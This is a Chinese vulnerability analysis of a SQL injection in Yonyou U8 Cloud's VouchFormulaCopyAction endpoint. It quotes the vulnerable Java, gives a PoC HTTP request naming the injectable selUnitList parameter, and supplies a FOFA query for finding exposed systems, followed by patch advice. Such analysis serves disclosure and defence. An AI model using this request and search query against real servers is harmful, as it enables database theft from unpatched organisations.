用友U8 Cloud系統(tǒng)VouchFormulaCopyAction方法存在SQL注入漏洞,攻擊者可獲取數(shù)據(jù)庫敏感信息
一、漏洞簡介
用友U8 Cloud系統(tǒng)VouchFormulaCopyAction
方法存在SQL注入漏洞,攻擊者可獲取數(shù)據(jù)庫敏感信息
二、影響版本
1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
三、漏洞原理分析
首先看漏洞位于VouchFormulaCopyAction
接口處,方法的完整路徑為nc.ui.hbbb.innertrade.VouchFormulaCopyAction
,因為是Action方法,所以是按照用友的ActionServlet方法調(diào)用的方法漏洞
VouchFormulaCopyAction中的關(guān)鍵execute方法完整代碼如下
public ActionForward execute(ActionForm actionForm) {
VouchQueryForm form = (VouchQueryForm)actionForm;
String[] strCopyUnitCodes = getListValues("selCopyUnitList");
String[] strMeasPKs = getListValues("selItemList");
String[] strCounterUnitPKs = getListValues("selUnitList");
VouchFormulaCondVO cond = new VouchFormulaCondVO();
cond.setSelfUnitCode(form.getSelfUnitPK());
cond.setItemCodes(strMeasPKs);
cond.setCounterUnitCodes(strCounterUnitPKs);
try {
VouchFormulaVO[][] formulas = VouchFormulaBO\_Client.getVouchFormulasByCond(cond);
ArrayList<VouchFormulaVO> vForm = new ArrayList();
int i;
for (i = 0; i < formulas.length; i++) {
for (int j = 0; j < (formulas[i]).length; j++)
vForm.add(formulas[i][j]);
}
for (i = 0; i < strCopyUnitCodes.length; i++) {
if (!strCopyUnitCodes[i].equals(form.getSelfUnitPK())) {
for (int j = 0; j < vForm.size(); j++) {
VouchFormulaVO formula = vForm.get(j);
formula.setSelfUnitCode(strCopyUnitCodes[i]);
}
VouchFormulaBO_Client.addVouchFormulas(vForm.<VouchFormulaVO>toArray(new VouchFormulaVO[0]));
}
}
} catch (Exception e) {
AppDebug.debug(e);
return (ActionForward)new ErrorForward(e.getMessage());
}
return (ActionForward)new CloseForward("window_close();");
}
這里是有三個傳參的,分別是selCopyUnitList、selItemList、selUnitList
可以反向定位一下,這些傳參進(jìn)了哪些方法當(dāng)中,可以看到VouchFormulaCondVO中保存了上面的傳參,再作為cond傳入了getVouchFormulasByCond
方法之中
那么去找這個方法,一通定位來到方法當(dāng)中
這里面多個參數(shù)都有注入,所以我挑其中一個講講
StringBuffer bufSQL = new StringBuffer("select form,counterunit_code,item_code from iufo_dxdata_form where selfunit_code=?");
bufSQL.append(" and counterunit_code in (");
String[] strUnitPKs = cond.getCounterUnitCodes();
for (int i = 0; i < strUnitPKs.length; i++) {
bufSQL.append("'" + strUnitPKs[i] + "'");
if (i < strUnitPKs.length - 1) {
bufSQL.append(",");
} else {
bufSQL.append(")");
}
}
這里cond的counterUnitCodes
對應(yīng)傳參selUnitList
它用for循環(huán)將數(shù)組里面的字符串進(jìn)行拼接,以and counterunit_code in (
開頭,最后再以)
結(jié)尾閉合括號
因此很明顯可以在數(shù)組里面?zhèn)骼ㄌ柼崆伴]合,造成SQL注入漏洞
該漏洞的請求數(shù)據(jù)包如下
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
四、總結(jié)
用友U8 Cloud系統(tǒng)VouchFormulaCopyAction
方法存在SQL注入漏洞,攻擊者可獲取數(shù)據(jù)庫敏感信息
五、資產(chǎn)測繪
FOFA語法
app="用友-U8-Cloud"
六、漏洞復(fù)現(xiàn)
POC
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.hbbb.innertrade.VouchFormulaCopyAction&method=execute&selCopyUnitList=1&selUnitList=1&selItemList=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
selUnitList
參數(shù)存在注入,使用SQLMAP注入驗證下,存在堆疊注入
七、修復(fù)建議
安裝用友U8 Cloud最新的補(bǔ)丁并更新到最新版本,對接口添加身份信息驗證并修改對應(yīng)的方法邏輯。
轉(zhuǎn)自:https://forum.butian.net/article/792
閱讀原文:原文鏈接
該文章在 2025/9/30 10:27:50 編輯過